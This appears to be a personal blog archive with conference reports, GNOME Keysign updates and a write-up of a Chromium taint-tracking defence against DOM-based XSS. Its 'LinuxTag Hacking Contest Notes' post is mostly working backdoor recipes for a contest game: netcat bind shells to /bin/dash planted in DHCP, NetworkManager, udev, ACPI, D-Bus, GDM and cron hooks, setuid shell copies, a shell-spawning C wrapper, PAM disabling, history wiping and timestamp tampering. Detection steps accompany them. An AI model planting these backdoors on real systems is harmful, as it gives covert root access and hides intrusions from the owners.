Talking at mrmcds 2016 in Darmstadt, Germany

A couple of weeks ago, I attended the mrmcds in Darmstadt, Germany. Just like I did the last years. Like the years before, the conference was nicely themed. This year, the theme was all things medical. So speakers were given doctors’ coats, conference staff were running around like surgeons, alcohol could be had intravenously …

mrmcd 2016 logo

The talk on medical device nightmares (video) showed some medical devices like which show and record vital signs such as the pulse or blood pressure. But also more fancy devices such as an MRI. Of course, he did not only show the devices themselves, but rather how they tested them on their external interfaces, i.e. the networking port. Speaking of the MRI: It exposed a few hundred open ports. The services listening on these ports crashed when nmap scanned the host… But at least apparently they recovered automatically. He also presented an anaesthetic monitoring device, which is supposed to show how much alive a patient still is. The device seems to have a telnet interface which you can log on to with default credentials. The telnet interface has, not surprisingly, a command injection vulnerability, which allowed them to take ownership of the device. The next step was then to hijack the framebuffer and to render whatever they wanted on it. For example nice looking vital data; as if the patient was still alive. Or, probably the more obvious thing to do: Show Rick Astley.

It’s been an entertaining talk which makes you realise how complicated the whole area of pharmaceutical or medical appliances is. They need to go through a long and troublesome certification process, not unlike other businesses (say, car manufacturers). Patching the underlying Windows is simply not possible without losing the certification. You may well ask whether a certificate or an up-to-date OS is better for your health. And while I make it look a bit ridiculous now, I do appreciate that it’s a tough subject.

My own talk on GNOME (video) was well visited. I explained why I think GNOME is a good candidate for shipping security software to the masses. I said that GNOME cares about its users and goes the extra mile to support as many users as possible. That includes making certain decisions to provide a secure by default system. I gave two examples of how I think GNOME pushes the envelope when it comes to making security usable. One was the problem of OpenPGP Keysigning. I mentioned that it’s a very geeky thing which mortals do not understand. Neither do many security people, to be honest. And you can’t even blame them because it’s a messy thing to do. Doing it properly™ involves a metric ton of OpSec to protect the integrity of the key to be signed. I think that we can make the process much more usable than it is right now while even maintaining security. This year, I had Andrei working with me to make this happen.

The other example I gave was the problem of USB security. Do you know when you use your USB? And do you know when you don’t? And do you know when other people use your USB? I talked about the possibility to lock down your USB ports while you’re not in front of your computer. The argument goes that you can’t possibly insert anything if you’re away. Of course, there are certain cases to keep in mind, like not forbidding a keyboard to be plugged in, in case the old one breaks. But there is little reason to allow your USB camera to work unless you are actively using your machine. I presented how this could look like by showing off the work the George did last summer.

My friend Jens talked about Reverse Engineering of applications. He started to explain why you would do that in first place. Analysing your freshly received malware or weaknesses (think backdoors or bypasses) in your software are motivations, he said. But you might as well tinker with old software which has no developer anymore or try to find APIs of other software for interoperational purposes, he said. Let me note that with Free Software, you wouldn’t have to reverse engineer the binary ;-) But he also mentioned that industrial espionage is a reason for people to reverse engineer a compiled programme. The tool he uses the most is the “file” tool. He went on to explain the various executable formats for various machine flavours (think: x86, ELF, PE, JVM). To go practical, he showed a .NET application which only writes “hello, world!”, because malware, he said, is written in .NET nowadays. In order to decompile the binary he recommended “iLspy” as a one-stop suite for reverse engineering .NET applications. Next up were Android applications. He showed how to pull the APK off the device and how to decompose it to JAR classes. Then he recommended CFR for decompiling those into Java code. His clients, mostly banks, he said, try to hide secret keys in their apps, so the first thing he does when having a new job is to grep for “secret”. In 80% of the cases, he said, it is successful. To make it harder for someone to reverse engineer the binary, obfuscators exist for Java, but also for C. He also mentioned some anti debugging techniques such as to check for the presence of certain DLLs or to throw certain interrupts to determine whether the application runs under a debugger. It was a very practical talk which certainly made it clear that the presented things are relevant today. Due to the limited time and the many examples, he could only scratch the surface, though.

It’s been a nice conference with 400ish attendees. I really like how they care about the details, also when it comes to make the speakers feel good. It’s too sad that it’s only one weekend. I’m looking forward to attending next year’s edition :-)

GNOME Keysign 0.6

It’s been a while since I reported on GNOME Keysign. The last few releases have been exciting, because they introduced nice features which I have been waiting long for getting around to implement them.

So GNOME Keysign is an application to help you in the OpenPGP Keysigning process. That process will eventually require you to get hold of an authentic copy of the OpenPGP Key. In GNOME Keysign this is done by establishing a TCP connection between two machines and by exchanging the data via that channel. You may very well ask how we ensure that the key is authentic. The answer for now has been that we transmit the OpenPGP fingerprint via a secure channel and that we use the fingerprint to authenticate the key in question. This achieves at least the same security as when doing conventional key signing, because you get hold of the key either via a keyserver or a third party who organised the “key signing party”. Although, admittedly, in very rare cases you transfer data directly via a USB pendrive or so. Of course, this creates a whole new massive attack surface. I’m curious to see technologies like wormhole deployed for this use case.

The security of you going to the Internet to download the key is questionable, because not only do you leak that you’re intending to communicate with a certain person, but also expose yourself to attacks like someone dropping revocation certificates or UIDs of the key of your interest. While the former issue is being tackled by not going to the Internet in first place, the latter had not been dealt with. But these days are over now.

As of 0.5 GNOME Keysign also generates an HMAC of the data to be transferred and encodes that in the QR Code. The receiving end can then verify whether the data downloaded matches the expected value. I am confident that a new generation hash function serves the same purpose, but I’m not entirely sure how easy it is to get Keccak or siphash into the users’ hands. The HMAC, while being cryptographic overkill, should be fine, though. But the construction leaves a bad taste, especially because a known key is currently used to generate the HMAC. But it’s a mechanism built-in into Python. However, I expect to replace that with something more sensible.

In security, we better imagine a strong attacker who is capable of executing attacks which we think are not necessarily easy or even possible to mount. If we can defend against such a strong attacker then we may trust the system to resist weaker attacks, too. One of such a difficult attack, I think, is to inject just one frame while, at the same time, controlling the network. The attack could then make the victim scan a rogue barcode which delivers a rogue MAC which in turn validates the wrong data. Such an attack should not go unnoticed and, as of 0.5, GNOME Keysign will display the frame that contained the barcode.

This is what it looked like before:


And now you can see the frame that got decoded. This is mainly because the GStreamer zbar element also provides the frame.


Another interesting feature is the availability of a separate tool for producing signatures for a given key in a file. The scenario is that you may have received a key from your friend via a (trusted, haha) pendrive, a secure network connection (like wormhole), or any other means you consider sufficiently integrity preserving. In order to sign that key you can now execute something like python -m keysign.gnome-keysign-sign-key in order to run all the signing logic but without the whole key transfer stuff. This is a bit experimental though and I am not yet happy about the state that program is in, so it’s not directly exposed to users by installing it as executable.

GNOME Keysign is available in OpenSuSE, now. I don’t know the exact details of how to make it work, but rumour has it that you can just do a zypper install gnome-keysign. While getting there we identified a few issues along the way. For example, the gstreamer zbar element needs to be present. But that was a problem, because the zbar element was not built because the zbar library was not available. So that needed to get in first. Then we realised that the most modern OpenSuSE uses a very recent GnuPG which the currently used GnuPG library is not handling so nicely. That caused a few headaches. Also, the firewall seems to be an issue which needs to be dealt with. So much to code, so little time! ;-)

Talking at GNOME.Asia Summit 2016 in New Delhi, India

It’s spring time and that means it’s time for GNOME.Asia Summit! This year’s edition took place in New Delhi, India. This years makes five years after the initial GNOME 3.0 release. In fact, an important releases planning hackfest happened five years ago in India, so it’s been a somewhat remarkable date.

The conference felt a little smaller than the last edition, although I guess the college we were hosted at tried hard to bring their students to the talks. That was especially noticeable in the opening slot were everybody who felt sufficiently important had something to say. The big auditorium was filled with students, but I doubt they were really interested or listening. The opening was a bit weird for my taste, anyway. I have seen many conference openings, I would say. But that guy from the college who opened GNOME.Asia 2016 seemed to be a little bit confused, I have the feeling. He said that GNOME started 2008 so that all the software you use can be had freely so that you can upgrade your devices, like GPS satnavs. The opening ceremony, and yes, it’s really more of a ceremony rather than a short “welcome, good that you’re here” talk seems to be quite a formal thing in this college. Everybody on the stage receives a bouquet of flowers and many people were greeted and saluted to which stretched everything to an enormous length which in turn made the schedule slip by two hours or so.

Cosimo keynoted the conference and presented his ideas for the future of the GNOME project. We’ve come a long way, he said, with GNOME 3, which has initially been released five years ago. GNOME has aged well, he said. No wrinkles can be seen and GNOME is looking better than ever. He said that he likes GNOME 2 to be thought of GNOME in the era of distributions, because you could plug together modules that you liked. And everybody liked that. The pain point, he said, was that distributions chose which modules to plug together which finally decided about the user experience. Due to module proliferation was felt as impacting the project negatively the new world of GNOME 3 was introduced. One the most controversial but also most successful thing GNOME 3 did, he said, was to put the responsibility of defining the user experience back in upstream’s hands by eliminating choices. While causing people to complain, it led to a less complicated test matrix which eventually made GNOME accessible to less technical people. He said, GNOME 3 is the era of Operating Systems, so there are not distributions packaging GNOME but rather Operating systems built on GNOME, like endless, mint, or solus. The big elephant in the room is the role of applications, he said. If cohesive Operating Systems are built upon GNOME, how can applications work with different operating systems? Currently, you cannot, he said, run elementary applications on GNOME and vice versa. xdg-app will hopefully address that, he said. It’s a big transition for the GNOME project and that transition is even bigger than the one from GNOME 2 to GNOME 3, he said. Unfortunately, the audience seemed to be a little tired by from the length of the opening session and it felt like they were demanding a break by starting to chat with their neighbours…

Pravin then continued to talk about the state of Indian languages in GNOME. He mentioned that some Indian languages are well supported while some others have no support at all. He also showed that with Fedora 24 you get a text prediction engine. So you can type Latin characters for the word you want to enter in a different script. The Q&A revealed that the list of suggested words is sorted by frequency. Apparently they did some analysis of usage of words. I wonder whether it’s also able to learn from the user’s behaviour.

The talk on privacy given by Ankit Prateek showed how your typical Internet and Web usage would leave traces and what you mitigation you could employ. He mentioned specific Web attacks like Super Cookies or Canvas fingerprinting. He recommended using NoScript whichs usefulness the audience immediately questioned. To my surprise, he didn’t mention one my favourite plugins Google Privacy, because Google remembers what search results you click.

I got to talk about five years of GNOME 3. I conveyed the story of how the 3.0 release happened and what was part of it. For example, we had so many release parties with swag being sent around the world! But I also showed a few things that have changed since the initial 3.0.

Another talk I had was about Security. I explained why I see GNOME being in the perfect position to design, develop, and deploy security systems for a wide range of users. First, I ranted about modal dialogues, prompts, and that they are not a good choice for making a security decision. Then, I explained how we could possible defend against malicious USB devices. I think it’s work we, as developers of a Free Software desktop, have to do in order to serve our users. Technically, it’s not very hard, e.g. you block new USB devices being plugged in, when the screensaver is shown. We know how to do the blocking and unblocking of USB devices. More subtle issues involve the policies to apply and how to make the user aware of USB devices. Another pet peeve of mine is Keysigning, so I also ranted about the state of the art and we can and should improve things.

Thanks to the local organising people and the GNOME Foundation for flying me in and out.
Sponsored by GNOME!

Taint Tracking for Chromium

I forgot to blog about one of my projects. I had actually already talked about it more than one year ago and we had a paper at USENIX Security.

Essentially, we built a protection against DOM-based Cross-site Scripting (DOMXSS) into Chromium. We did that by detecting whenever potentially attacker provided strings become JavaScript code. To that end, we made the HTML rendering engine (WebKit/Blink) and the JavaScript engine taint aware. That is, we identified sources of values that an attacker could control (think and marked all strings coming from those sources as tainted. Then, during parsing of JavaScript, we check whether the string to be compiled is actually tainted. If that is indeed the case, then we abort the compilation.

That description is a bit simplified. For example, not compiling code because it contains some fragments of the URL would break a substantial number of Web sites. It’s an unfortunate fact that many Web sites either eval code containing parts of the URL or do a document.write with a string containing parts of the URL. The URL, in our attacker model, can be controlled by the attacker. So we must be more clever about aborting compilation. The idea was to only allow literals in JavaScript (like true, false, numbers, or strings) to be compiled, but not “code”. So if a tainted (sub)string compiles to a string: fine. If, however, we compile a tainted string to a function call or an operation, then we abort. Let me give an example of an allowed compilation and a disallowed one.



var pos=document.URL.indexOf("name=")+5;

Welcome to our system


Which is from the original report on DOM-based XSS. You see that nothing bad will happen when you open However, opening will lead to attacker provided code being executed in the victim’s context. Even worse, when opening with a hash (#) instead of a question mark (?) then the server will not even see the payload, because Web browsers do not transmit it as part of their request.

“Why does that happen?”, you may ask. We see that the document.write call got fed a string derived from the URL. The URL is assumed to be provided by the attacker. The string is then used to create new DOM elements. In the good case, it’s only a simple text node, representing text to be rendered. That’s a perfectly legit use case and we must, unfortunately, allow that sort of usage. I say unfortunate, because using these APIs is inherently insecure. The alternative is to use createElement and friends to properly inject DOM nodes. But that requires comparatively much more effort than using the document.write. Coming back to the security problem: In the bad case, a script element is created with attacker provided contents. That is very bad, because now the attacker controls your browser. So we must prevent the attacker provided code from execution.

You see, tracking the taint information is a non-trivial effort and must be done beyond newly created DOM nodes and multiple passes of JavaScript (think eval(eval(eval(tainted_string)))). We must also track the taint information not on the full string, but on each character in order to not break existing Web applications. For example, if you first concatenate with a tainted string and then remove all tainted characters, the string should not be marked as tainted. This non-trivial effort manifests itself in the over 15000 Lines of Code we patched Chromium with to provide protection against DOM-based XSS. These patches, as indicated, create, track, propagate, and evaluate taint information. Also, the compilation of JavaScript has been modified to adhere to the policy that tainted strings must only compile to literals. Other policies are certainly possible and might actually increase protection (or increase compatibility without sacrificing security). So not only WebKit (Blink) needed to be patched, but also V8, the JavaScript engine. These patches add to the logic and must be execute in order to protect the user. Thus, they take time on the CPU and add to the memory consumption. Especially the way the taint information is stored could blow up the memory required to store a string by 100%. We found, however, that the overhead incurred was not as big as other solutions proposed by academia. Actually, we measure that we are still faster than, say, Firefox or Opera. We measured the execution speed of various browsers under various benchmarks. We concluded that our patched version added 23% runtime overhead compared to the unpatched version.


As for compatibility, we crawled the Alexa Top 10000 and observed how often our protection mechanism has stopped execution. Every blocked script would count towards the incompatibility, because we assume that our browser was not under attack when crawling. That methodology is certainly not perfect, because only shallowly crawling front pages does not actually indicate how broken the actual Web app is. To compensate, we used the WebKit rendering tests, hoping that they cover most of the important functionality. Our results indicate that scripts from 26 of the 10000 domains were blocked. Out of those, 18 were actually vulnerable against DOM-based XSS, so blocking their execution happened because a code fragment like the following is actually indistinguishable from a real attack. Unfortunately, those scripts are quite common :( It’s being used mostly by ad distribution networks and is really dangerous. So using an AdBlocker is certainly an increase in security.

var location_parts = window.location.hash.substring(1).split(’|’);
var rand = location_parts[0];
var scriptsrc = decodeURIComponent(location_parts[1]);
document.write("<scr"+"ipt src=’" + scriptsrc + "’></scr"+"ipt>");

Modifying the WebKit for the Web parts and V8 for the JavaScript parts to be taint aware was certainly a challenge. I have neither seriously programmed C++ before nor looked much into compilers. So modifying Chromium, the big beast, was not an easy task for me. Besides those handicaps, there were technical challenges, too, which I didn’t think of when I started to work on a solution. For example, hash tables (or hash sets) with tainted strings as keys behave differently from untainted strings. At least they should. Except when they should not! They should not behave differently when it’s about querying for DOM elements. If you create a DOM element from a tainted string, you should be able to find it back with an untainted string. But when it comes to looking up a string in a cache, we certainly want to have the taint information preserved. I hence needed to inspect each and every hash table for their usage of tainted or untainted strings. I haven’t found them all as WebKit’s (extensive) Layout tests still showed some minor rendering differences. But it seems to work well enough.

As for the protection capabilities of our approach, we measured 100% protection against DOM-based XSS. That sounds impressive, right? Our measurements were two-fold. We used the already mentioned Layout Tests to include some more DOM-XSS test cases as well as real-life vulnerabilities. To find those, we used the reports the patched Chromium generated when crawling the Web as mentioned above to scan for compatibility problems, to automatically craft exploits. We then verified that the exploits do indeed work. With 757 of the top 10000 domains the number of exploitable domains was quite high. But that might not add more protection as the already existing built in mechanism, the XSS Auditor, might protect against those attacks already. So we ran the stock browser against the exploits and checked how many of those were successful. The XSS Auditor protected about 28% of the exploitable domains. Our taint tracking based solution, as already mentioned, protected against 100%. That number is not very surprising, because we used the very same codebase to find vulnerabilities. But we couldn’t do any better, because there is no source of DOM-based XSS vulnerabilities…

You could, however, trick the mechanism by using indirect flows. An example of such an indirect data flow is the following piece of code:

// Explicit flow: Taint propagates
var value1 = tainted_value === "shibboleth" ? tainted_value : "";
// Implicit flow: Taint does not propagate
var value2 = tainted_value === "shibboleth" ? "shibboleth" : "";

If you had such code, then we cannot protect against exploitation. At least not easily.

For future work in the Web context, the approach presented here can be made compatible with server-side taint tracking to persist taint information beyond the lifetime of a Web page. A server-side Web application could transmit taint information for the strings it sends so that the client could mark those strings as tainted. Following that idea it should be possible to defeat other types of XSS. Other areas of work are the representation of information about the data flows in order to help developers to secure their applications. We already receive a report in the form of structured information about the blocked code generation. If that information was enriched and presented in an appealing way, application developers could use that to understand why their application is vulnerable and when it is secure. In a similar vein, witness inputs need to be generated for a malicious data flow in order to assert that code is vulnerable. If these witness inputs were generated live while browsing a Web site, a developer could more easily assess the severity and address the issues arising from DOM-based XSS.


It’s winter again and it was clear that FOSDEM was coming. However, preparation fell through the cracks, at least for me, mainly because my personal life is fast-paced at the moment. We had a table again, and our EventsBox, which is filled with goodness to demo GNOME, made its way from Gothenburg, where I actually carried it to a couple of months ago.

Unfortunately though, we didn’t have t-shirts to sell. We do have boxes of t-shirts left, but they didn’t make it to FOSDEM :-\ So this FOSDEM didn’t generate nearly as much revenue as the last years. It’s a pity that this year’s preparation was suboptimal. I hope we can improve next year. Were able to get rid of other people’s things, though ;-) Like last year, the SuSE people brought beer, but it was different this time. Better, even ;-)

The fact that there wasn’t as much action at our booth as last years, I could actually attend talks. I was able to see Sri and Pam talking on the Groupon incident that shook us up a couple of months ago. It was really nice to see her, because I wanted to shake hands and say thanks. She did an amazing job. Interestingly enough, she praised us, the GNOME Foundation’s Board of Directors, for working very professionally. Much better than any client she has worked with. I am surprised, because I didn’t really have the feeling we were acting as promptly as we could. You know, we’re volunteers, after all. Also, we didn’t really prepare as much as we could have which led to some things being done rather spontaneously. Anyway, I take that as a compliment and I guess that our work can’t be all too bad. The talk itself showed our side of things and, if you ask me, was painting things in a too bright light. Sure, we were successful, but I attribute much of that success to network effects and a bit of luck. I don’t think we could replicate that success easily.

GNOME’s presence at FOSDEM was not too bad though, despite the lack of shirts. We had a packed beer event and more talks by GNOMEy people. The list includes Karen‘s keynote, Benzo‘s talk on SDAPDS, and Sri‘s talk on GNOME’s impact on the Free Software ecosystem. You can find more here.

A talk that I did see was on improving the keysigning situation. I really mean to write about this some more. For now, let me just say that I am pleased to see people working on solutions. Solutions to a problem I’m not sure many people see and that I want to devote some time for explaining it, i.e. in s separate post. The gist is, that contemporary “keysigning parties” come with non-negligible costs for both, the organiser and the participant. KeySigningPartyTools were presented which intend to improve they way things are currently done. That’s already quite good as it’ll reduce the number of errors people typically make when attending such a party.

However, I think that we need to rethink keysigning. Mostly, because the state of the art is a massive SecOps fail. There is about a gazillion traps to be avoided and many things don’t actually make so much sense. For example, I am unable to comprehend why we are muttering a base16 encoded version of your 160 bit fingerprint to ourselves. Or why we must queue outside in the cold without being able to jump the queue if a single person is a bit slow, because then everybody will be terribly confused and the whole thing taking even longer. Or why we need to do everything on paper (well, I know the arguments: Your computer can be hacked, be social, yadda yadda). I did actually give a talk on rethinking the keysigning problem (slides). It’s about a project that I have only briefly mentioned here and which I should really write about in the near future. GNOME Keysign intends to be less of a SecOps fail by letting the scan a barcode and click “next”. The rest will be operations known to the user such as sending an email. No more manually comparing fingerprints. No more leaking data to the Internet about who you want to contact. No more MITM attacks against your OpenPGP installation. No more short key ids that you accidentally use or because you mistyped a letter of the fingerprint. No more editing raw Perl in order to configure your keysigning tool. The talk went surprisingly well. I actually expected the people in the security devroom to be mad when someone like me is taking their perl and their command line away. I received good questions and interesting feedback. I’ll follow up here with another post once real-life lets me get to it.

Brussels itself is a very nice city. We were lucky, I guess, because we had some sunshine when we were walking around the city. I love the plethora of restaurants. And I like that Brussels is very open and cultural. Unfortunately, the makerspace was deserted when we arrived, but it is was somewhat expected as it was daytime… I hope to return again and check it out during the night ;-)

LinuxTag Hacking Contest Notes

As I wrote the other day, I have been to LinuxTag in Berlin. And Almost like last year a Hacking contest took place.

LinuxTag 2011 - Hacking Contest

The rules were quite the same: Two teams play against each other, each team having a laptop. The game has three rounds of 15 minutes each. In the first round the teams swap their laptops so that you have the opponents machine. You are supposed to hide backdoors and other stuff. In the second round the laptops are swapped back and you have to find and remove these backdoors. For the third round the laptops are swapped once again and you can show off what backdoors were left in the system.

So preparation seems to be the obvious key factor for winning. While I did prepare some notes, they turned out to not be very good for the actual contest, because they are not structured well enough.

Since the game has three rounds, it makes sense to have a structure with three parts as well. Hence I produced a new set of notes with headlines for each backdoor and three parts per section. Namely Hacking, Fixing and Exploiting.

The notes weren’t all ready just before the contest and hence we didn’t score pretty well. But I do think that our notes are quite cool by now though. Next time, when we’re more used to the situation and hopefully learned through suffering to not make all those tiny mistakes we did, we might play better.

So enjoy the following notes and feel free to give feedback.

Set Keyboard to US English:

setxkbmap us
export HISTFILE=/dev/null
ln -sf ~/.bash_history /dev/null
ln -sf ~/.viminfo /dev/null

while true; do find / -exec touch {} \; ; sleep 2; done

  passwd new user



nano /etc/passwd

copy and paste root user to a new user, i.e. hackr.

sudo passwd hackr


grep :0: /etc/passwd


ssh hackr@localhost




cd /lib/security/
echo > /etc/pam.d/sshd
/etc/init.d/sshd restart


too hard


ssh root@localhost

enter any password




nano /etc/NetworkManager/dispatcher.d/01ifupdown <<EOF
nc.traditional -l -p 31346 -e /bin/bash &
cp /bin/dash /etc/NetworkManager/dhclient
chmod +s /etc/NetworkManager/dhclient


ls /etc/NetworkManager/dispatcher.d/


less /etc/NetworkManager/dispatcher.d/

Disconnect Network via NetworkManager

Connect Network via NetworkManager


netcat localhost 31346




su -
cat .ssh/ | tee /etc/ssh/authorized_keys
cat .ssh/id_rsa | tee /etc/
cp /etc/ssh/sshd_config /tmp/
nano /etc/ssh/sshd_config <<EOF
AuthorizedKeysFile /etc/ssh/authorized_keys
Banner /etc/

/etc/init.d/ssh reload
mv /tmp/sshd_config /etc/ssh/


less /etc/ssh/sshd_config

/etc/init.d/ssh reload


ssh root@localhost 2> /tmp/root
chmod u=r,go= $_
ssh  -i /tmp/root root@localhost




cp  /etc/xinetd.d/chargen  /etc/xinetd.d/chargen.bak

nano /etc/xinetd.d/chargen <<EOF

disable = no
server = /bin/dash

/etc/init.d/xinetd restart

mv /etc/xinetd.d/chargen.bak  /etc/xinetd.d/chargen


grep disable  /etc/xinetd.d/* | grep no


nc localhost chargen



Needs testing


nano /etc/apache2/sites-enabled/000-default

DocumentRoot /
Make <Directory />  and copy allowance from below

/etc/init.d/apache2 restart

touch /usr/lib/cgi-bin/fast-cgid
chmod a+rwxs $_
touch /usr/lib/cgi-bin/fast-cgid.empty
chmod a+rwxs $_
nano /usr/lib/cgi-bin/fast-cgid <<EOF

nano /etc/sudoers <<EOF


ls -l /usr/lib/cgi-bin/

nano /etc/apache2/sites-enabled/*

/etc/init.d/apache2 restart


links2 http://localhost/  # Remote file access
links2 http://localhost/cgi-bin/fast-cgid?id # Remote command execution
grep NOPASS /etc/sudoers  # local privilege escalation
links2 http://localhost/cgi-bin/fast-cgid?sudo+id # Remote root command execution

nano /usr/lib/cgi-bin/fast-cgid.empty <<EOF

/usr/lib/cgi-bin/fast-cgid.empty # local privilege escalation




sudo chmod u+s /bin/dash
sudo mkdir -p /etc/screen.d/user/
sudo chmod o+rwt /etc/screen.d/user/
SCREENDIR=/etc/screen.d/user/ screen


ls -l /var/run/screen
rm -rf /var/run/screen/*

sudo lsof | grep -i screen | grep FIFO
rm these files


SCREENDIR=/etc/screen.d/user/ screen -x

  hidden root dash



cp /bin/dash /usr/bin/pkexec.d
chmod +s !$
cp /bin/dash /etc/init.d/powersaved
chmod +s !$


find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \;

rm these files




  DHCP Hook



nano /etc/dhcp3/dhclient-exit-hooks.d/debug <<EOF
nc.traditional -l -p 31347 &
cp /bin/dash /var/run/dhclient
chmod +s /var/run/dhclient


ls -l /etc/dhcp3/dhclient-exit-hooks.d/
ls -l /etc/dhcp3/dhclient-enter-hooks.d/


Reconnect Network via DHCP


netcat localhost 31347



Switchen VTs is triggered locally only, although one might argue that switching terminals is done every boot. Hence it’s kinda automatic.


sudo -s
touch /usr/lib/ConsoleKit/run-seat.d/
chmod a+x /usr/lib/ConsoleKit/run-seat.d/
nano /usr/lib/ConsoleKit/run-seat.d/


chmod u+s /bin/dash
nc.traditional -l -p 31337 -e /bin/dash &


ls /usr/lib/ConsoleKit/run-seat.d/

Only one symlink named is supposed to be there.


ls /usr/lib/ConsoleKit/run-seat.d/

Switch TTY (Ctrl+Alt+F3)

execute /bin/dash

nc IP 31337




echo '|/bin/nc.traditional -l -p 31335 -e /bin/dash' > /proc/sys/kernel/core_pattern


cat /proc/sys/kernel/core_pattern
echo core > /proc/sys/kernel/core_pattern


ulimit -c unlimited

sleep 1m & pkill -SEGV sleep

nc localhost 31335

  nc wrapper



setxkbmap us
cd /tmp/
cat > dhclient.c <<EOF
#include <unistd.h>

int main (int argc, char* args[]) {
    int ret = fork ();
    if (ret == 0) {
        chmod("/bin/dash", 04755);
        execlp ("/usr/bin/nc.traditional", "nc.traditional",
            "-l" ,"-p", "31339", "-e", "/bin/dash", (char*) NULL);
    } else
        execvp("/sbin/dhclient6", args);
    return 0;

/etc/init.d/networking stop                # Or disable via NotworkManager
make dhclient
cp /sbin/dhclient /sbin/dhclient6
cp dhclient /sbin/dhclient
cp dhclient /etc/cron.hourly/ntpdate
cp dhclient /sbin/mount.btrfs
cp dhclient /usr/lib/cgi-bin/cgi-handler
chmod ug+s /sbin/mount.btrfs /usr/lib/cgi-bin/cgi-handler
rm dhclient.c
/etc/init.d/networking start               # Or enable via NotworkManager



  real dhclient

Disconnect with Network Manager

Connect with NetworkManager


nc localhost 31339


Just wait. Or reboot.



Writes Keycodes to syslog.
Type: 1 are keypresses, and “code” is the actual keycode.
evtest shows which key maps to which keycode.

Unfortunately, Debian does not seem to have that module.


modprobe evbug
%FIXME: Maybe pull netconsole

nano /etc/modprobe.d/blacklist.conf


modprobe -r evbug


dmesg | grep  "Type: 1"




sudo -s
xhost +
nohup /usr/lib/vino/vino-server &



ps aux | grep vnc


vncviewer IP

  GDM InitScript



nano /etc/gdm/Init/Default <<EOF
cp /bin/dash /etc/gdm/gdm-greeter
chmod +s /etc/gdm/gdm-greeter
nc.traditional -l -p 31345 -e /bin/dash &


less /etc/gdm/Init/Default


Log off

Log on


nc localhost 31345

  shadow a+rw



chmod a+rw /etc/shadow


ls -l /etc/shadow

chmod u=rw,g=r /etc/shadow


nano /etc/shadow

  SysV Init Alt+Up



touch /etc/init.d/throttle
chmod a+x $_
nano $_ <<EOF
exec </dev/tty13 >/dev/tty13 2>/dev/tty13
exec /bin/bash

nano /etc/inittab <<EOF

init q


nano /etc/inittab


Ctrl+Alt+F1, Alt+Up, Alt+Left

  SysV Init Ctrl+Alt+Del



nano /etc/inittag <<EOF
ca:12345:ctrlaltdel:chmod +s /bin/dash

init q


nano /etc/inittag


Ctrl+Alt+F1, Ctrl+Alt+Del, dash

  SysV Init tty14



nano /etc/inittag <<EOF
14:23:respawn:/bin/login -f root </dev/tty14 >/dev/tty14 2>/dev/tty14

init q


less /etc/inittag


Ctrl+Alt+F1, Alt+Left

  DBus Root Service



cd /usr/share/dbus-1/system-services/
cp org.Rootme.Remotely.service
nano org.Rootme.Remotely.service << EOF
[D-BUS Service]
Exec=/bin/nc.traditional -l -p 31343 -e /bin/dash

cp org.Rootme.Locally.service
nano org.Rootme.Locally.service << EOF
[D-BUS Service]
Exec=/bin/chmod u+s /bin/dash


grep Exec /usr/share/dbus-1/system-services/*.service


dbus-send -system -print-reply -dest='org.Rootme.Locally' /org/Rootme/Locally org.Rootme.Locally

dbus-send -system -print-reply -dest='org.Rootme.Remotely' /org/Rootme/Remotely org.Rootme.Remotely

nc localhost 31343





touch /etc/cron.d/pamd
chmod a+x /etc/cron.d/pamd
nano /etc/cron.d/pamd <<EOF
*/2 * * * *   root  cp /bin/dash /usr/share/gdm/chooser
*/2 * * * *   root  chmod +s /usr/share/gdm/chooser

touch /etc/cron.d/dhclient
chmod a+x /etc/cron.d/dhclient
nano /etc/cron.d/dhclient <<EOF
*/2 * * * *   root  /sbin/mount.btrfs


sudo ls -l /var/spool/cron/crontabs/ /etc/cron.*/


ls -l /etc/cron.d/dhclient /etc/cron.d/pamd /usr/share/gdm/chooser



nc -l localhost 31339



udev is responsible for devices being attached to Linux.
It is able to trigger commands on certain hardware.
Under the assumption that a Laptop will have a rfkill switch, one could write the following rules.
Note that the commands block, i.e. to hit the second rule, the first program must exist.
udev automatically reloads the rules.


nano /lib/udev/rules.d/99-rfkill.rules <<EOF
SUBSYSTEM=="rfkill", RUN +="/bin/nc.traditional -l -p 31337 -e /bin/sh"
SUBSYSTEM=="rfkill", RUN +="/bin/chmod +s /bin/dash"


grep RUN /lib/udev/rules.d/* /etc/udev/rules.d/

but too hard


toggle rfkill via hardware switch

nc localhost 31344


  ACPI Powerbtn



nano /etc/acpi/ <<EOF
nc.traditional -l -p 31348 -e /bin/sh
/bin/chmod +s /bin/dash


ls /etc/acpi/

less /etc/acpi/


Press power button

nc localhost 31348


  PolicyKit GrantAll


Note that this reflects policykit 0.96 which has a deprecated config file syntax.


nano /usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change org.freedesktop.policykit.exec to read

pkill polkitd


nano /usr/share/polkit-1/actions/org.freedesktop.policykit.policy

change org.freedesktop.policykit.exec to read

pkill polkitd


pkexec id

  decoy timestamps

No hack in the traditional sense but stuff that one might need to do.


for i in `find /etc/ /bin/ /sbin/ /var/spool/
          /var/run /usr/lib/ConsoleKit /usr/share/dbus-1/ /usr/share/polkit-1/`; do
    touch $i; done
export HISTFILE=/dev/null
rm ~/.*history*



find / -mtime -1

find / -ctime -1

MeeGo Conference 2010 in Dublin

The MeeGo Conference 2010 took place from 2010-11-15 until 2010-11-17 and it was quite good. I think I haven’t seen so much money being put into a conference so far. That’s not to be read as a complaint though ;-)

The conference provided loads of things, i.e. lunch, which was apparently sponsored by Novell. It was very good: Yummie lamb stew, cooked salmon and veg was served to be finished with loads of ice cream and coffee. Very delicious. Breakfast was provided by Codethink as far as I can tell. The first reception in the evening was held by Collabora and drinks and food were provided. That was, again, very well and a perfect opportunity to meet and chat with people. In fact, I’ve met a lot old folks that II haven’t seen for at least half a year. But with the KDE folks entering the scene I’ve also met a few new interesting people.

The venue itself is very interesting and they definitely know how to accommodate conference attendees. It’s a stadium and very spacious. There were an awful lot of stadium people taking care of us. The rooms were well equipped although I was badly missing power supply.

The second evening was spent in the Guinness Warehouse, an interesting museum which tells you how the Guinness is made. They also have a bar upstairs and food, drinks and music was provided. I guess the Guinness couldn’t have been better :-)

Third evening was spent in the Stadium itself to watch Ireland playing Norway. Football that is. There was a reception with drinks and food downstairs in the Presidents Suite. They even handed out own scarfs which read “MeeGo Conference”. That was quite decadent. Anyway, I’ve only seen the first half because I was at the bar for the second half, enjoying Guinness and Gin Tonic ;-)

Having sorted out the amnesties (more described here), let’s have a look at the talks that were given. I actually attended a few, although I loved to have visited more.

